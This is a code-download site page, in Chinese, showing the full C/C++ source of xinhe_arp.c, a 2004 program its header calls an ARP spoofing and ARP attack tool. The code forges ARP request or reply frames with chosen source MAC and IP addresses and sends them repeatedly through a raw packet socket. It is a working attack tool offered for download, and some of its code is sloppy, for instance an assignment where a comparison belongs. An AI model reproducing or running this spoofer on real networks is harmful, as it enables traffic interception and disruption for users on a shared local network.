⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 xinhe_arp.c

📁 关于ARP 欺骗的试验程序。在 RED HAT LINUX 下编译
💻 C
字号:
/*RP欺骗和进行ARP攻击的网络程序        *×   程序名称:xinhe_arp                    **   程序作者:xinhe                       **   编写日期:2004-5-22                  ****************************************/#include <netdb.h>#include <sys/socket.h>#include <sys/types.h>#include <stdio.h>#include <errno.h>#include <sys/ioctl.h>#include <net/if.h>#include <signal.h>#include <netinet/ip.h>#include <netinet/in.h>#include <string.h>#include <arpa/inet.h>#include <netinet/ip_icmp.h>#include <linux/if_ether.h>#include <unistd.h>#include <iostream>#include <string>#define ETH_HW_ADDR_LEN 6       //以太网的硬件地址长度#define IP_ADDR_LEN 4           //IP协议地址长度#define ARP_FRAME_TYPE 0x0806   //帧类型,0x0806表示ARP协议#define ETHER_HW_TYPE 1         //硬件地址类型,1表示以太网地址#define IP_PROTO_TYPE 0x0800    //协议类型,0x0800表示IP协议#define OP_ARP_REQUEST 2        //定义ARP应答数据包#define OP_ARP_QUEST 1          //定义ARP请求数据包//以下是构造一个ARP分组格式一样的一个结构体struct arp_packet{u_char targ_hw_addr[ETH_HW_ADDR_LEN]; //目标以太网地址u_char src_hw_addr[ETH_HW_ADDR_LEN];  //源以太网地址u_short frame_type;                   //帧类型u_short hw_type;                      //硬件类型u_short prot_type;                    //协议类型u_char hw_addr_size;                  //硬件地址长度u_char prot_addr_size;                //协议地址长度u_short op;                           //操作类型,1表示请求包,2表示应答包u_char sndr_hw_addr[ETH_HW_ADDR_LEN]; //源以太网地址u_char sndr_ip_addr[IP_ADDR_LEN];     //源IP地址u_char rcpt_hw_addr[ETH_HW_ADDR_LEN]; //目标以太网地址u_char rcpt_ip_addr[IP_ADDR_LEN];     //目标IP地址u_char padding[18]; //因为分组格式只有42个字节,而一个IP数据包至少要60个字节,所以padding在这里起填充作用};char usage[]="使用说明:\nxinhe_arp <-t op> <-shw src_hw_addr> <-sip src_ip_addr>"            " <-thw targ_hw_addr> <-tip targ_ip_addr> <-n number> [-dev device] <-h>\n"            "op=1 发送请求数据包\nop=2 发送应答数据包\n"            "src_hw_addr:源以太网地址\nsrc_ip_addr:源IP地址\n"            "targ_hw_addr:目标以太网地址\ntarg_ip_addr:目标IP地址\n"            "munber:发送数据包次数\ndevice:发送设备\n"            "-h:获得帮助\n"            "注意:此程序必须以root身份执行\n";//以下是构造一个ARP的类class arp{  public:     arp(); //构造函数,进行初始化      int send();//发送函数      int create();//创建套接口函数      void set_src_hw(u_char *buf);//设置源以太网地址      void set_targ_hw(u_char *buf);//设置目标以太网地址      void set_src_ip(char *buf);//设置源IP地址      void set_targ_ip(char *buf);//设置目标IP地址      void set_op_type(u_short op);//设置操作类型       void set_device(char *dev);   //设置备设  private:     void get_ip_addr(struct in_addr *in_addr,char *str);//转换IP地址     void get_hw_addr(u_char *buf,u_char *str);//转换硬件地址     void err(char *str);//出错     struct arp_packet pack;     struct in_addr scr_ip_addr,targ_in_addr;       struct sockaddr xinhe;     int fd;     char *device;};arp::arp() {  pack.frame_type=htons(ARP_FRAME_TYPE);  pack.hw_type=htons(ETHER_HW_TYPE);  pack.prot_type=htons(IP_PROTO_TYPE);  pack.hw_addr_size=ETH_HW_ADDR_LEN;  pack.prot_addr_size=IP_ADDR_LEN;  device="eth0"; }int arp::create() {  bzero(pack.padding,18);   strcpy(xinhe.sa_data,device);   if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP)))<0)    err("errer1");       }int arp::send() {   if(sendto(fd,&pack,sizeof(pack),0,&xinhe,sizeof(xinhe))<0)       err("send fail");      return 0; }void arp::set_device(char *dev) {   device=dev; }void arp::set_src_hw(u_char *buf) {    get_hw_addr(pack.src_hw_addr,buf);    get_hw_addr(pack.sndr_hw_addr,buf); }void arp::set_targ_hw(u_char *buf) {    get_hw_addr(pack.targ_hw_addr,buf);    get_hw_addr(pack.rcpt_hw_addr,buf); }void arp::set_src_ip(char *buf) {    get_ip_addr(&scr_ip_addr,buf);    memcpy(pack.sndr_ip_addr,&scr_ip_addr,IP_ADDR_LEN); }void arp::set_targ_ip(char *buf){  get_ip_addr(&targ_in_addr,buf);  memcpy(pack.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);}void arp::set_op_type(u_short op){  printf("the op is %x\n",op);  pack.op=htons(op);}void get_ip_addr(struct in_addr *in_addr,char *str){  struct hostent *hostp;  in_addr->s_addr=inet_addr(str);  if(in_addr->s_addr==-1)  {     if(hostp=gethostbyname(str))        bcopy(hostp->h_addr,in_addr,hostp->h_length);     else     {        fprintf(stderr,"xinhe_arp:Unkown host%s\n",str);         exit(1);     }  }}void arp::get_hw_addr(u_char *buf,u_char *str){  int i;  char c,val;  for(i=0;i<ETH_HW_ADDR_LEN;i++)  {     if(!(c=tolower(*str++)))        err("Invalid hardware address\n");     if(isdigit(c))        val=c-'0';     else if(c>='a'&&c<='f')        val=c-'a'+10;     else        err("Invalid hardware address\n");     *buf=val<<4;     if(!(c=tolower(*str++)))        err("Invalid hardware address\n");     if(isdigit(c))        val=c-'0';     else if(c>='a'&&c<='f')        val=c-'a'+10;     else        err("Invalid hardware address\n");     *buf|=val;      buf++;      if(*str=':')        *str++;           }  }void arp::get_ip_addr(struct in_addr *in_addr,char *str){  struct hostent *hostp;  in_addr->s_addr=inet_addr(str);  if(in_addr->s_addr==-1)  {     if(hostp=gethostbyname(str))        bcopy(hostp->h_addr,in_addr,hostp->h_length);     else     {        fprintf(stderr,"xinhe_arp:Unkown host%s\n",str);         exit(1);     }  }}void arp::err(char *str){  printf("%s",str);  exit(1);}int main(int argc,char **argv){  string str,temp;  u_short op;  char *shw,*thw;  char *sip,*tip,*dev;  int n=1,send_number=0;  if(argc==1)  {     printf(usage);     exit(1);  }  arp xinhe;  while(n<argc)  {     str=argv[n];     if(str=="-h")     {         printf("a%s",usage);        exit(1);     }     else if(str=="-t")     {       n++;       op=*argv[n]-0x30;     }     else if(str=="-shw")     {        n++;        shw=argv[n];     }     else if(str=="-sip")     {           n++;            sip=argv[n];     }     else if(str=="-thw")     {        n++;        thw=argv[n];     }     else if(str=="-tip")     {        n++;        tip=argv[n];     }     else if(str=="-n")     {           n++;            send_number=atoi(argv[n]);     }     else if(str=="-dev")     {        n++;        dev=argv[n];        xinhe.set_device(dev);     }     else     {        printf("abc%s",usage);        exit(1);     }     n++;  }  xinhe.set_src_hw((u_char*)(shw));  xinhe.set_targ_hw((u_char*)(thw));  xinhe.set_src_ip(sip);  xinhe.set_targ_ip(tip);  xinhe.set_op_type(op);  xinhe.create();  for(n=0;n<send_number;n++)  {     xinhe.send();     printf("the data has send %d\n",n);     sleep(1);  }        return 0;}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -